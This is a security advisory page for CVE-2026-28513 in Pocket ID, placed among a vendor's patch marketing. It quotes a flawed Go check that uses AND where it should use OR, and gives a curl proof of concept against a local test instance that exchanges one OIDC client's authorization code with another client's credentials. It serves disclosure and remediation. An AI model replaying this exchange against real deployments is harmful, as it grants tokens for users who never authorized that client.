Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

CVE-2026-28513

Pocket ID: OIDC authorization code validation uses AND instead of OR, allowing cross-client token exchange
Back to all
CVE

CVE-2026-28513

Pocket ID: OIDC authorization code validation uses AND instead of OR, allowing cross-client token exchange

Summary

The OIDC token endpoint rejects an authorization code only when both the client ID is wrong and the code is expired. This allows cross-client code exchange and expired code reuse.

Details

backend/internal/service/oidc_service.go:407

if authorizationCodeMetaData.ClientID != input.ClientID && authorizationCodeMetaData.ExpiresAt.ToTime().Before(time.Now()) {
    return CreatedTokens{}, &common.OidcInvalidAuthorizationCodeError{}
}

&& should be ||. Current behavior:

| Condition | Expected | Actual |

|-----------|----------|--------|

| Wrong client + valid code | Reject | Accept |

| Correct client + expired code | Reject | Accept |

PoC

Prerequisite: pocket-id running with APP_ENV=test and BUILD_TAGS=e2etest. The test user (Tim Cook) must have authorized both Nextcloud and Immich OIDC clients (i.e., userauthorizedoidc_clients records exist for both). The seed data includes an authorization code auth-code issued for the Nextcloud client.

## 1. Seed test data
curl -X POST "http://localhost:1411/api/test/reset?skip-ldap=true"
## 2. Exchange Nextcloud's auth code using Immich's credentials
curl -X POST http://localhost:1411/api/oidc/token \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=authorization_code" \
  -d "code=auth-code" \
  -d "client_id=606c7782-f2b1-49e5-8ea9-26eb1b06d018" \
  -d "client_secret=PYjrE9u4v9GVqXKi52eur0eb2Ci4kc0x" \
  -d "redirect_uri=http://immich/auth/callback"
## Expected: 400 (wrong client)
## Actual: 200 with tokens — access_token.aud = Immich client ID

Verified result: HTTP 200 with tokens. The access_token audience is 606c7782-... (Immich), despite the authorization code being issued for 3654a746-... (Nextcloud).

Impact

Any OIDC client operator can exchange authorization codes issued for other clients, obtaining tokens for users who never authorized that client. Expired authorization codes can also be reused with the correct client until the 24-hour cleanup job runs.

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
8.5
-
3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
C
H
U
0
-
3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
C
H
U
-

Related Resources

No items found.

References

https://github.com/pocket-id/pocket-id/security/advisories/GHSA-qh6q-598w-w6m2, https://nvd.nist.gov/vuln/detail/CVE-2026-28513, https://github.com/pocket-id/pocket-id

Severity

8.5

CVSS Score
0
10

Basic Information

Ecosystem
Base CVSS
8.5
EPSS Probability
0.00014%
EPSS Percentile
0.02777%
Introduced Version
0
Fix Available
0.0.0-20260307173642-b59e35cb59ae

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading